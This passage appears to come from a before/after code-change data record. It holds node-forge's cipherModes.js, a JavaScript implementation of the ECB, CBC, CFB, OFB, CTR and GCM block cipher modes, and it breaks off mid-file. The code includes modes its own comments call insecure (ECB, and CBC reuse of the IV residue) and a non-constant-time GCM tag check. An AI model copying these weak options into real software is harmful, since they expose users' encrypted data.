return true;\n  }\n\n  // encrypt block (CFB always uses encryption mode)\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // handle full block\n  if(this._partialBytes === 0 && inputLength >= this.blockSize) {\n    // XOR input with output, write input as output\n    for(var i = 0; i < this._ints; ++i) {\n      this._inBlock[i] = input.getInt32();\n      output.putInt32(this._inBlock[i] ^ this._outBlock[i]);\n    }\n    return;\n  }\n\n  // handle partial block\n  var partialBytes = (this.blockSize - inputLength) % this.blockSize;\n  if(partialBytes > 0) {\n    partialBytes = this.blockSize - partialBytes;\n  }\n\n  // XOR input with output, write input as partial output\n  this._partialOutput.clear();\n  for(var i = 0; i < this._ints; ++i) {\n    this._partialBlock[i] = input.getInt32();\n    this._partialOutput.putInt32(this._partialBlock[i] ^ this._outBlock[i]);\n  }\n\n  if(partialBytes > 0) {\n    // block still incomplete, restore input buffer\n    input.read -= this.blockSize;\n  } else {\n    // block complete, update input block\n    for(var i = 0; i < this._ints; ++i) {\n      this._inBlock[i] = this._partialBlock[i];\n    }\n  }\n\n  // skip any previous partial bytes\n  if(this._partialBytes > 0) {\n    this._partialOutput.getBytes(this._partialBytes);\n  }\n\n  if(partialBytes > 0 && !finish) {\n    output.putBytes(this._partialOutput.getBytes(\n      partialBytes - this._partialBytes));\n    this._partialBytes = partialBytes;\n    return true;\n  }\n\n  output.putBytes(this._partialOutput.getBytes(\n    inputLength - this._partialBytes));\n  this._partialBytes = 0;\n};\n\n/** Output feedback (OFB) **/\n\nmodes.ofb = function(options) {\n  options = options || {};\n  this.name = 'OFB';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = null;\n  this._outBlock = new Array(this._ints);\n  this._partialOutput = forge.util.createBuffer();\n  this._partialBytes = 0;\n};\n\nmodes.ofb.prototype.start = function(options) {\n  if(!('iv' in options)) {\n    throw new Error('Invalid IV parameter.');\n  }\n  // use IV as first input\n  this._iv = transformIV(options.iv, this.blockSize);\n  this._inBlock = this._iv.slice(0);\n  this._partialBytes = 0;\n};\n\nmodes.ofb.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  var inputLength = input.length();\n  if(input.length() === 0) {\n    return true;\n  }\n\n  // encrypt block (OFB always uses encryption mode)\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // handle full block\n  if(this._partialBytes === 0 && inputLength >= this.blockSize) {\n    // XOR input with output and update next input\n    for(var i = 0; i < this._ints; ++i) {\n      output.putInt32(input.getInt32() ^ this._outBlock[i]);\n      this._inBlock[i] = this._outBlock[i];\n    }\n    return;\n  }\n\n  // handle partial block\n  var partialBytes = (this.blockSize - inputLength) % this.blockSize;\n  if(partialBytes > 0) {\n    partialBytes = this.blockSize - partialBytes;\n  }\n\n  // XOR input with output\n  this._partialOutput.clear();\n  for(var i = 0; i < this._ints; ++i) {\n    this._partialOutput.putInt32(input.getInt32() ^ this._outBlock[i]);\n  }\n\n  if(partialBytes > 0) {\n    // block still incomplete, restore input buffer\n    input.read -= this.blockSize;\n  } else {\n    // block complete, update input block\n    for(var i = 0; i < this._ints; ++i) {\n      this._inBlock[i] = this._outBlock[i];\n    }\n  }\n\n  // skip any previous partial bytes\n  if(this._partialBytes > 0) {\n    this._partialOutput.getBytes(this._partialBytes);\n  }\n\n  if(partialBytes > 0 && !finish) {\n    output.putBytes(this._partialOutput.getBytes(\n      partialBytes - this._partialBytes));\n    this._partialBytes = partialBytes;\n    return true;\n  }\n\n  output.putBytes(this._partialOutput.getBytes(\n    inputLength - this._partialBytes));\n  this._partialBytes = 0;\n};\n\nmodes.ofb.prototype.decrypt = modes.ofb.prototype.encrypt;\n\n/** Counter (CTR) **/\n\nmodes.ctr = function(options) {\n  options = options || {};\n  this.name = 'CTR';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = null;\n  this._outBlock = new Array(this._ints);\n  this._partialOutput = forge.util.createBuffer();\n  this._partialBytes = 0;\n};\n\nmodes.ctr.prototype.start = function(options) {\n  if(!('iv' in options)) {\n    throw new Error('Invalid IV parameter.');\n  }\n  // use IV as first input\n  this._iv = transformIV(options.iv, this.blockSize);\n  this._inBlock = this._iv.slice(0);\n  this._partialBytes = 0;\n};\n\nmodes.ctr.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  var inputLength = input.length();\n  if(inputLength === 0) {\n    return true;\n  }\n\n  // encrypt block (CTR always uses encryption mode)\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // handle full block\n  if(this._partialBytes === 0 && inputLength >= this.blockSize) {\n    // XOR input with output\n    for(var i = 0; i < this._ints; ++i) {\n      output.putInt32(input.getInt32() ^ this._outBlock[i]);\n    }\n  } else {\n    // handle partial block\n    var partialBytes = (this.blockSize - inputLength) % this.blockSize;\n    if(partialBytes > 0) {\n      partialBytes = this.blockSize - partialBytes;\n    }\n\n    // XOR input with output\n    this._partialOutput.clear();\n    for(var i = 0; i < this._ints; ++i) {\n      this._partialOutput.putInt32(input.getInt32() ^ this._outBlock[i]);\n    }\n\n    if(partialBytes > 0) {\n      // block still incomplete, restore input buffer\n      input.read -= this.blockSize;\n    }\n\n    // skip any previous partial bytes\n    if(this._partialBytes > 0) {\n      this._partialOutput.getBytes(this._partialBytes);\n    }\n\n    if(partialBytes > 0 && !finish) {\n      output.putBytes(this._partialOutput.getBytes(\n        partialBytes - this._partialBytes));\n      this._partialBytes = partialBytes;\n      return true;\n    }\n\n    output.putBytes(this._partialOutput.getBytes(\n      inputLength - this._partialBytes));\n    this._partialBytes = 0;\n  }\n\n  // block complete, increment counter (input block)\n  inc32(this._inBlock);\n};\n\nmodes.ctr.prototype.decrypt = modes.ctr.prototype.encrypt;\n\n/** Galois/Counter Mode (GCM) **/\n\nmodes.gcm = function(options) {\n  options = options || {};\n  this.name = 'GCM';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = new Array(this._ints);\n  this._outBlock = new Array(this._ints);\n  this._partialOutput = forge.util.createBuffer();\n  this._partialBytes = 0;\n\n  // R is actually this value concatenated with 120 more zero bits, but\n  // we only XOR against R so the other zeros have no effect -- we just\n  // apply this value to the first integer in a block\n  this._R = 0xE1000000;\n};\n\nmodes.gcm.prototype.start = function(options) {\n  if(!('iv' in options)) {\n    throw new Error('Invalid IV parameter.');\n  }\n  // ensure IV is a byte buffer\n  var iv = forge.util.createBuffer(options.iv);\n\n  // no ciphered data processed yet\n  this._cipherLength = 0;\n\n  // default additional data is none\n  var additionalData;\n  if('additionalData' in options) {\n    additionalData = forge.util.createBuffer(options.additionalData);\n  } else {\n    additionalData = forge.util.createBuffer();\n  }\n\n  // default tag length is 128 bits\n  if('tagLength' in options) {\n    this._tagLength = options.tagLength;\n  } else {\n    this._tagLength = 128;\n  }\n\n  // if tag is given, ensure tag matches tag length\n  this._tag = null;\n  if(options.decrypt) {\n    // save tag to check later\n    this._tag = forge.util.createBuffer(options.tag).getBytes();\n    if(this._tag.length !== (this._tagLength / 8)) {\n      throw new Error('Authentication tag does not match tag length.');\n    }\n  }\n\n  // create tmp storage for hash calculation\n  this._hashBlock = new Array(this._ints);\n\n  // no tag generated yet\n  this.tag = null;\n\n  // generate hash subkey\n  // (apply block cipher to \"zero\" block)\n  this._hashSubkey = new Array(this._ints);\n  this.cipher.encrypt([0, 0, 0, 0], this._hashSubkey);\n\n  // generate table M\n  // use 4-bit tables (32 component decomposition of a 16 byte value)\n  // 8-bit tables take more space and are known to have security\n  // vulnerabilities (in native implementations)\n  this.componentBits = 4;\n  this._m = this.generateHashTable(this._hashSubkey, this.componentBits);\n\n  // Note: support IV length different from 96 bits? (only supporting\n  // 96 bits is recommended by NIST SP-800-38D)\n  // generate J_0\n  var ivLength = iv.length();\n  if(ivLength === 12) {\n    // 96-bit IV\n    this._j0 = [iv.getInt32(), iv.getInt32(), iv.getInt32(), 1];\n  } else {\n    // IV is NOT 96-bits\n    this._j0 = [0, 0, 0, 0];\n    while(iv.length() > 0) {\n      this._j0 = this.ghash(\n        this._hashSubkey, this._j0,\n        [iv.getInt32(), iv.getInt32(), iv.getInt32(), iv.getInt32()]);\n    }\n    this._j0 = this.ghash(\n      this._hashSubkey, this._j0, [0, 0].concat(from64To32(ivLength * 8)));\n  }\n\n  // generate ICB (initial counter block)\n  this._inBlock = this._j0.slice(0);\n  inc32(this._inBlock);\n  this._partialBytes = 0;\n\n  // consume authentication data\n  additionalData = forge.util.createBuffer(additionalData);\n  // save additional data length as a BE 64-bit number\n  this._aDataLength = from64To32(additionalData.length() * 8);\n  // pad additional data to 128 bit (16 byte) block size\n  var overflow = additionalData.length() % this.blockSize;\n  if(overflow) {\n    additionalData.fillWithByte(0, this.blockSize - overflow);\n  }\n  this._s = [0, 0, 0, 0];\n  while(additionalData.length() > 0) {\n    this._s = this.ghash(this._hashSubkey, this._s, [\n      additionalData.getInt32(),\n      additionalData.getInt32(),\n      additionalData.getInt32(),\n      additionalData.getInt32()\n    ]);\n  }\n};\n\nmodes.gcm.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  var inputLength = input.length();\n  if(inputLength === 0) {\n    return true;\n  }\n\n  // encrypt block\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // handle full block\n  if(this._partialBytes === 0 && inputLength >= this.blockSize) {\n    // XOR input with output\n    for(var i = 0; i < this._ints; ++i) {\n      output.putInt32(this._outBlock[i] ^= input.getInt32());\n    }\n    this._cipherLength += this.blockSize;\n  } else {\n    // handle partial block\n    var partialBytes = (this.blockSize - inputLength) % this.blockSize;\n    if(partialBytes > 0) {\n      partialBytes = this.blockSize - partialBytes;\n    }\n\n    // XOR input with output\n    this._partialOutput.clear();\n    for(var i = 0; i < this._ints; ++i) {\n      this._partialOutput.putInt32(input.getInt32() ^ this._outBlock[i]);\n    }\n\n    if(partialBytes <= 0 || finish) {\n      // handle overflow prior to hashing\n      if(finish) {\n        // get block overflow\n        var overflow = inputLength % this.blockSize;\n        this._cipherLength += overflow;\n        // truncate for hash function\n        this._partialOutput.truncate(this.blockSize - overflow);\n      } else {\n        this._cipherLength += this.blockSize;\n      }\n\n      // get output block for hashing\n      for(var i = 0; i < this._ints; ++i) {\n        this._outBlock[i] = this._partialOutput.getInt32();\n      }\n      this._partialOutput.read -= this.blockSize;\n    }\n\n    // skip any previous partial bytes\n    if(this._partialBytes > 0) {\n      this._partialOutput.getBytes(this._partialBytes);\n    }\n\n    if(partialBytes > 0 && !finish) {\n      // block still incomplete, restore input buffer, get partial output,\n      // and return early\n      input.read -= this.blockSize;\n      output.putBytes(this._partialOutput.getBytes(\n        partialBytes - this._partialBytes));\n      this._partialBytes = partialBytes;\n      return true;\n    }\n\n    output.putBytes(this._partialOutput.getBytes(\n      inputLength - this._partialBytes));\n    this._partialBytes = 0;\n  }\n\n  // update hash block S\n  this._s = this.ghash(this._hashSubkey, this._s, this._outBlock);\n\n  // increment counter (input block)\n  inc32(this._inBlock);\n};\n\nmodes.gcm.prototype.decrypt = function(input, output, finish) {\n  // not enough input to decrypt\n  var inputLength = input.length();\n  if(inputLength < this.blockSize && !(finish && inputLength > 0)) {\n    return true;\n  }\n\n  // encrypt block (GCM always uses encryption mode)\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // increment counter (input block)\n  inc32(this._inBlock);\n\n  // update hash block S\n  this._hashBlock[0] = input.getInt32();\n  this._hashBlock[1] = input.getInt32();\n  this._hashBlock[2] = input.getInt32();\n  this._hashBlock[3] = input.getInt32();\n  this._s = this.ghash(this._hashSubkey, this._s, this._hashBlock);\n\n  // XOR hash input with output\n  for(var i = 0; i < this._ints; ++i) {\n    output.putInt32(this._outBlock[i] ^ this._hashBlock[i]);\n  }\n\n  // increment cipher data length\n  if(inputLength < this.blockSize) {\n    this._cipherLength += inputLength % this.blockSize;\n  } else {\n    this._cipherLength += this.blockSize;\n  }\n};\n\nmodes.gcm.prototype.afterFinish = function(output, options) {\n  var rval = true;\n\n  // handle overflow\n  if(options.decrypt && options.overflow) {\n    output.truncate(this.blockSize - options.overflow);\n  }\n\n  // handle authentication tag\n  this.tag = forge.util.createBuffer();\n\n  // concatenate additional data length with cipher length\n  var lengths = this._aDataLength.concat(from64To32(this._cipherLength * 8));\n\n  // include lengths in hash\n  this._s = this.ghash(this._hashSubkey, this._s, lengths);\n\n  // do GCTR(J_0, S)\n  var tag = [];\n  this.cipher.encrypt(this._j0, tag);\n  for(var i = 0; i < this._ints; ++i) {\n    this.tag.putInt32(this._s[i] ^ tag[i]);\n  }\n\n  // trim tag to length\n  this.tag.truncate(this.tag.length() % (this._tagLength / 8));\n\n  // check authentication tag\n  if(options.decrypt && this.tag.bytes() !== this._tag) {\n    rval = false;\n  }\n\n  return rval;\n};\n\n/**\n * See NIST SP-800-38D 6.3 (Algorithm 1). This function performs Galois\n * field multiplication. The field, GF(2^128), is defined by the polynomial:\n *\n * x^128 + x^7 + x^2 + x + 1\n *\n * Which is represented in little-endian binary form as: 11100001 (0xe1). When\n * the value of a coefficient is 1, a bit is set. The value R, is the\n * concatenation of this value and 120 zero bits, yielding a 128-bit value\n * which matches the block size.\n *\n * This function will multiply two elements (vectors of bytes), X and Y, in\n * the field GF(2^128). The result is initialized to zero. For each bit of\n * X (out of 128), x_i, if x_i is set, then the result is multiplied (XOR'd)\n * by the current value of Y. For each bit, the value of Y will be raised by\n * a power of x (multiplied by the polynomial x). This can be achieved by\n * shifting Y once to the right. If the current value of Y, prior to being\n * multiplied by x, has 0 as its LSB, then it is a 127th degree polynomial.\n * Otherwise, we must divide by R after shifting to find the remainder.\n *\n * @param x the first block to multiply by the second.\n * @param y the second block to multiply by the first.\n *\n * @return the block result of the multiplication.\n */\nmodes.gcm.prototype.multiply = function(x, y) {\n  var z_i = [0, 0, 0, 0];\n  var v_i = y.slice(0);\n\n  // calculate Z_128 (block has 128 bits)\n  for(var i = 0; i < 128; ++i) {\n    // if x_i is 0, Z_{i+1} = Z_i (unchanged)\n    // else Z_{i+1} = Z_i ^ V_i\n    // get x_i by finding 32-bit int position, then left shift 1 by remainder\n    var x_i = x[(i / 32) | 0] & (1 << (31 - i % 32));\n    if(x_i) {\n      z_i[0] ^= v_i[0];\n      z_i[1] ^= v_i[1];\n      z_i[2] ^= v_i[2];\n      z_i[3] ^= v_i[3];\n    }\n\n    // if LSB(V_i) is 1, V_i = V_i >> 1\n    // else V_i = (V_i >> 1) ^ R\n    this.pow(v_i, v_i);\n  }\n\n  return z_i;\n};\n\nmodes.gcm.prototype.pow = function(x, out) {\n  // if LSB(x) is 1, x = x >>> 1\n  // else x = (x >>> 1) ^ R\n  var lsb = x[3] & 1;\n\n  // always do x >>> 1:\n  // starting with the rightmost integer, shift each integer to the right\n  // one bit, pulling in the bit from the integer to the left as its top\n  // most bit (do this for the last 3 integers)\n  for(var i = 3; i > 0; --i) {\n    out[i] = (x[i] >>> 1) | ((x[i - 1] & 1) << 31);\n  }\n  // shift the first integer normally\n  out[0] = x[0] >>> 1;\n\n  // if lsb was not set, then polynomial had a degree of 127 and doesn't\n  // need to divided; otherwise, XOR with R to find the remainder; we only\n  // need to XOR the first integer since R technically ends w/120 zero bits\n  if(lsb) {\n    out[0] ^= this._R;\n  }\n};\n\nmodes.gcm.prototype.tableMultiply = function(x) {\n  // assumes 4-bit tables are used\n  var z = [0, 0, 0, 0];\n  for(var i = 0; i < 32; ++i) {\n    var idx = (i / 8) | 0;\n    var x_i = (x[idx] >>> ((7 - (i % 8)) * 4)) & 0xF;\n    var ah = this._m[i][x_i];\n    z[0] ^= ah[0];\n    z[1] ^= ah[1];\n    z[2] ^= ah[2];\n    z[3] ^= ah[3];\n  }\n  return z;\n};\n\n/**\n * A continuing version of the GHASH algorithm that operates on a single\n * block. The hash block, last hash value (Ym) and the new block to hash\n * are given.\n *\n * @param h the hash block.\n * @param y the previous value for Ym, use [0, 0, 0, 0] for a new hash.\n * @param x the block to hash.\n *\n * @return the hashed value (Ym).\n */\nmodes.gcm.prototype.ghash = function(h, y, x) {\n  y[0] ^= x[0];\n  y[1] ^= x[1];\n  y[2] ^= x[2];\n  y[3] ^= x[3];\n  return this.tableMultiply(y);\n  //return this.multiply(y, h);\n};\n\n/**\n * Precomputes a table for multiplying against the hash subkey. This\n * mechanism provides a substantial speed increase over multiplication\n * performed without a table. The table-based multiplication this table is\n * for solves X * H by multiplying each component of X by H and then\n * composing the results together using XOR.\n *\n * This function can be used to generate tables with different bit sizes\n * for the components, however, this implementation assumes there are\n * 32 components of X (which is a 16 byte vector), therefore each component\n * takes 4-bits (so the table is constructed with bits=4).\n *\n * @param h the hash subkey.\n * @param bits the bit size for a component.\n */\nmodes.gcm.prototype.generateHashTable = function(h, bits) {\n  // TODO: There are further optimizations that would use only the\n  // first table M_0 (or some variant) along with a remainder table;\n  // this can be explored in the future\n  var multiplier = 8 / bits;\n  var perInt = 4 * multiplier;\n  var size = 16 * multiplier;\n  var m = new Array(size);\n  for(var i = 0; i < size; ++i) {\n    var tmp = [0, 0, 0, 0];\n    var idx = (i / perInt) | 0;\n    var shft = ((perInt - 1 - (i % perInt)) * bits);\n    tmp[idx] = (1 << (bits - 1)) << shft;\n    m[i] = this.generateSubHashTable(this.multiply(tmp, h), bits);\n  }\n  return m;\n};\n\n/**\n * Generates a table for multiplying against the hash subkey for one\n * particular component (out of all possible component values).\n *\n * @param mid the pre-multiplied value for the middle key of the table.\n * @param bits the bit size for a component.\n */\nmodes.gcm.prototype.generateSubHashTable = function(mid, bits) {\n  // compute the table quickly by minimizing the number of\n  // POW operations -- they only need to be performed for powers of 2,\n  // all other entries can be composed from those powers using XOR\n  var size = 1 << bits;\n  var half = size >>> 1;\n  var m = new Array(size);\n  m[half] = mid.slice(0);\n  var i = half >>> 1;\n  while(i > 0) {\n    // raise m0[2 * i] and store in m0[i]\n    this.pow(m[2 * i], m[i] = []);\n    i >>= 1;\n  }\n  i = 2;\n  while(i < half) {\n    for(var j = 1; j < i; ++j) {\n      var m_i = m[i];\n      var m_j = m[j];\n      m[i + j] = [\n        m_i[0] ^ m_j[0],\n        m_i[1] ^ m_j[1],\n        m_i[2] ^ m_j[2],\n        m_i[3] ^ m_j[3]\n      ];\n    }\n    i *= 2;\n  }\n  m[0] = [0, 0, 0, 0];\n  /* Note: We could avoid storing these by doing composition during multiply\n  calculate top half using composition by speed is preferred. */\n  for(i = half + 1; i < size; ++i) {\n    var c = m[i ^ half];\n    m[i] = [mid[0] ^ c[0], mid[1] ^ c[1], mid[2] ^ c[2], mid[3] ^ c[3]];\n  }\n  return m;\n};\n\n/** Utility functions */\n\nfunction transformIV(iv, blockSize) {\n  if(typeof iv === 'string') {\n    // convert iv string into byte buffer\n    iv = forge.util.createBuffer(iv);\n  }\n\n  if(forge.util.isArray(iv) && iv.length > 4) {\n    // convert iv byte array into byte buffer\n    var tmp = iv;\n    iv = forge.util.createBuffer();\n    for(var i = 0; i < tmp.length; ++i) {\n      iv.putByte(tmp[i]);\n    }\n  }\n\n  if(iv.length() < blockSize) {\n    throw new Error(\n      'Invalid IV length; got ' + iv.length() +\n      ' bytes and expected ' + blockSize + ' bytes.');\n  }\n\n  if(!forge.util.isArray(iv)) {\n    // convert iv byte buffer into 32-bit integer array\n    var ints = [];\n    var blocks = blockSize / 4;\n    for(var i = 0; i < blocks; ++i) {\n      ints.push(iv.getInt32());\n    }\n    iv = ints;\n  }\n\n  return iv;\n}\n\nfunction inc32(block) {\n  // increment last 32 bits of block only\n  block[block.length - 1] = (block[block.length - 1] + 1) & 0xFFFFFFFF;\n}\n\nfunction from64To32(num) {\n  // convert 64-bit number to two BE Int32s\n  return [(num / 0x100000000) | 0, num & 0xFFFFFFFF];\n}\n"}, "files_after": {"lib/cipherModes.js": "/**\n * Supported cipher modes.\n *\n * @author Dave Longley\n *\n * Copyright (c) 2010-2014 Digital Bazaar, Inc.\n */\nvar forge = require('./forge');\nrequire('./util');\n\nforge.cipher = forge.cipher || {};\n\n// supported cipher modes\nvar modes = module.exports = forge.cipher.modes = forge.cipher.modes || {};\n\n/** Electronic codebook (ECB) (Don't use this; it's not secure) **/\n\nmodes.ecb = function(options) {\n  options = options || {};\n  this.name = 'ECB';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = new Array(this._ints);\n  this._outBlock = new Array(this._ints);\n};\n\nmodes.ecb.prototype.start = function(options) {};\n\nmodes.ecb.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  if(input.length() < this.blockSize && !(finish && input.length() > 0)) {\n    return true;\n  }\n\n  // get next block\n  for(var i = 0; i < this._ints; ++i) {\n    this._inBlock[i] = input.getInt32();\n  }\n\n  // encrypt block\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // write output\n  for(var i = 0; i < this._ints; ++i) {\n    output.putInt32(this._outBlock[i]);\n  }\n};\n\nmodes.ecb.prototype.decrypt = function(input, output, finish) {\n  // not enough input to decrypt\n  if(input.length() < this.blockSize && !(finish && input.length() > 0)) {\n    return true;\n  }\n\n  // get next block\n  for(var i = 0; i < this._ints; ++i) {\n    this._inBlock[i] = input.getInt32();\n  }\n\n  // decrypt block\n  this.cipher.decrypt(this._inBlock, this._outBlock);\n\n  // write output\n  for(var i = 0; i < this._ints; ++i) {\n    output.putInt32(this._outBlock[i]);\n  }\n};\n\nmodes.ecb.prototype.pad = function(input, options) {\n  // add PKCS#7 padding to block (each pad byte is the\n  // value of the number of pad bytes)\n  var padding = (input.length() === this.blockSize ?\n    this.blockSize : (this.blockSize - input.length()));\n  input.fillWithByte(padding, padding);\n  return true;\n};\n\nmodes.ecb.prototype.unpad = function(output, options) {\n  // check for error: input data not a multiple of blockSize\n  if(options.overflow > 0) {\n    return false;\n  }\n\n  // ensure padding byte count is valid\n  var len = output.length();\n  var count = output.at(len - 1);\n  if(count > (this.blockSize << 2)) {\n    return false;\n  }\n\n  // trim off padding bytes\n  output.truncate(count);\n  return true;\n};\n\n/** Cipher-block Chaining (CBC) **/\n\nmodes.cbc = function(options) {\n  options = options || {};\n  this.name = 'CBC';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = new Array(this._ints);\n  this._outBlock = new Array(this._ints);\n};\n\nmodes.cbc.prototype.start = function(options) {\n  // Note: legacy support for using IV residue (has security flaws)\n  // if IV is null, reuse block from previous processing\n  if(options.iv === null) {\n    // must have a previous block\n    if(!this._prev) {\n      throw new Error('Invalid IV parameter.');\n    }\n    this._iv = this._prev.slice(0);\n  } else if(!('iv' in options)) {\n    throw new Error('Invalid IV parameter.');\n  } else {\n    // save IV as \"previous\" block\n    this._iv = transformIV(options.iv, this.blockSize);\n    this._prev = this._iv.slice(0);\n  }\n};\n\nmodes.cbc.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  if(input.length() < this.blockSize && !(finish && input.length() > 0)) {\n    return true;\n  }\n\n  // get next block\n  // CBC XOR's IV (or previous block) with plaintext\n  for(var i = 0; i < this._ints; ++i) {\n    this._inBlock[i] = this._prev[i] ^ input.getInt32();\n  }\n\n  // encrypt block\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // write output, save previous block\n  for(var i = 0; i < this._ints; ++i) {\n    output.putInt32(this._outBlock[i]);\n  }\n  this._prev = this._outBlock;\n};\n\nmodes.cbc.prototype.decrypt = function(input, output, finish) {\n  // not enough input to decrypt\n  if(input.length() < this.blockSize && !(finish && input.length() > 0)) {\n    return true;\n  }\n\n  // get next block\n  for(var i = 0; i < this._ints; ++i) {\n    this._inBlock[i] = input.getInt32();\n  }\n\n  // decrypt block\n  this.cipher.decrypt(this._inBlock, this._outBlock);\n\n  // write output, save previous ciphered block\n  // CBC XOR's IV (or previous block) with ciphertext\n  for(var i = 0; i < this._ints; ++i) {\n    output.putInt32(this._prev[i] ^ this._outBlock[i]);\n  }\n  this._prev = this._inBlock.slice(0);\n};\n\nmodes.cbc.prototype.pad = function(input, options) {\n  // add PKCS#7 padding to block (each pad byte is the\n  // value of the number of pad bytes)\n  var padding = (input.length() === this.blockSize ?\n    this.blockSize : (this.blockSize - input.length()));\n  input.fillWithByte(padding, padding);\n  return true;\n};\n\nmodes.cbc.prototype.unpad = function(output, options) {\n  // check for error: input data not a multiple of blockSize\n  if(options.overflow > 0) {\n    return false;\n  }\n\n  // ensure padding byte count is valid\n  var len = output.length();\n  var count = output.at(len - 1);\n  if(count > (this.blockSize << 2)) {\n    return false;\n  }\n\n  // trim off padding bytes\n  output.truncate(count);\n  return true;\n};\n\n/** Cipher feedback (CFB) **/\n\nmodes.cfb = function(options) {\n  options = options || {};\n  this.name = 'CFB';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = null;\n  this._outBlock = new Array(this._ints);\n  this._partialBlock = new Array(this._ints);\n  this._partialOutput = forge.util.createBuffer();\n  this._partialBytes = 0;\n};\n\nmodes.cfb.prototype.start = function(options) {\n  if(!('iv' in options)) {\n    throw new Error('Invalid IV parameter.');\n  }\n  // use IV as first input\n  this._iv = transformIV(options.iv, this.blockSize);\n  this._inBlock = this._iv.slice(0);\n  this._partialBytes = 0;\n};\n\nmodes.cfb.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  var inputLength = input.length();\n  if(inputLength === 0) {\n    return true;\n  }\n\n  // encrypt block\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // handle full block\n  if(this._partialBytes === 0 && inputLength >= this.blockSize) {\n    // XOR input with output, write input as output\n    for(var i = 0; i < this._ints; ++i) {\n      this._inBlock[i] = input.getInt32() ^ this._outBlock[i];\n      output.putInt32(this._inBlock[i]);\n    }\n    return;\n  }\n\n  // handle partial block\n  var partialBytes = (this.blockSize - inputLength) % this.blockSize;\n  if(partialBytes > 0) {\n    partialBytes = this.blockSize - partialBytes;\n  }\n\n  // XOR input with output, write input as partial output\n  this._partialOutput.clear();\n  for(var i = 0; i < this._ints; ++i) {\n    this._partialBlock[i] = input.getInt32() ^ this._outBlock[i];\n    this._partialOutput.putInt32(this._partialBlock[i]);\n  }\n\n  if(partialBytes > 0) {\n    // block still incomplete, restore input buffer\n    input.read -= this.blockSize;\n  } else {\n    // block complete, update input block\n    for(var i = 0; i < this._ints; ++i) {\n      this._inBlock[i] = this._partialBlock[i];\n    }\n  }\n\n  // skip any previous partial bytes\n  if(this._partialBytes > 0) {\n    this._partialOutput.getBytes(this._partialBytes);\n  }\n\n  if(partialBytes > 0 && !finish) {\n    output.putBytes(this._partialOutput.getBytes(\n      partialBytes - this._partialBytes));\n    this._partialBytes = partialBytes;\n    return true;\n  }\n\n  output.putBytes(this._partialOutput.getBytes(\n    inputLength - this._partialBytes));\n  this._partialBytes = 0;\n};\n\nmodes.cfb.prototype.decrypt = function(input, output, finish) {\n  // not enough input to decrypt\n  var inputLength = input.length();\n  if(inputLength === 0) {\n    return true;\n  }\n\n  // encrypt block (CFB always uses encryption mode)\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // handle full block\n  if(this._partialBytes === 0 && inputLength >= this.blockSize) {\n    // XOR input with output, write input as output\n    for(var i = 0; i < this._ints; ++i) {\n      this._inBlock[i] = input.getInt32();\n      output.putInt32(this._inBlock[i] ^ this._outBlock[i]);\n    }\n    return;\n  }\n\n  // handle partial block\n  var partialBytes = (this.blockSize - inputLength) % this.blockSize;\n  if(partialBytes > 0) {\n    partialBytes = this.blockSize - partialBytes;\n  }\n\n  // XOR input with output, write input as partial output\n  this._partialOutput.clear();\n  for(var i = 0; i < this._ints; ++i) {\n    this._partialBlock[i] = input.getInt32();\n    this._partialOutput.putInt32(this._partialBlock[i] ^ this._outBlock[i]);\n  }\n\n  if(partialBytes > 0) {\n    // block still incomplete, restore input buffer\n    input.read -= this.blockSize;\n  } else {\n    // block complete, update input block\n    for(var i = 0; i < this._ints; ++i) {\n      this._inBlock[i] = this._partialBlock[i];\n    }\n  }\n\n  // skip any previous partial bytes\n  if(this._partialBytes > 0) {\n    this._partialOutput.getBytes(this._partialBytes);\n  }\n\n  if(partialBytes > 0 && !finish) {\n    output.putBytes(this._partialOutput.getBytes(\n      partialBytes - this._partialBytes));\n    this._partialBytes = partialBytes;\n    return true;\n  }\n\n  output.putBytes(this._partialOutput.getBytes(\n    inputLength - this._partialBytes));\n  this._partialBytes = 0;\n};\n\n/** Output feedback (OFB) **/\n\nmodes.ofb = function(options) {\n  options = options || {};\n  this.name = 'OFB';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = null;\n  this._outBlock = new Array(this._ints);\n  this._partialOutput = forge.util.createBuffer();\n  this._partialBytes = 0;\n};\n\nmodes.ofb.prototype.start = function(options) {\n  if(!('iv' in options)) {\n    throw new Error('Invalid IV parameter.');\n  }\n  // use IV as first input\n  this._iv = transformIV(options.iv, this.blockSize);\n  this._inBlock = this._iv.slice(0);\n  this._partialBytes = 0;\n};\n\nmodes.ofb.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  var inputLength = input.length();\n  if(input.length() === 0) {\n    return true;\n  }\n\n  // encrypt block (OFB always uses encryption mode)\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // handle full block\n  if(this._partialBytes === 0 && inputLength >= this.blockSize) {\n    // XOR input with output and update next input\n    for(var i = 0; i < this._ints; ++i) {\n      output.putInt32(input.getInt32() ^ this._outBlock[i]);\n      this._inBlock[i] = this._outBlock[i];\n    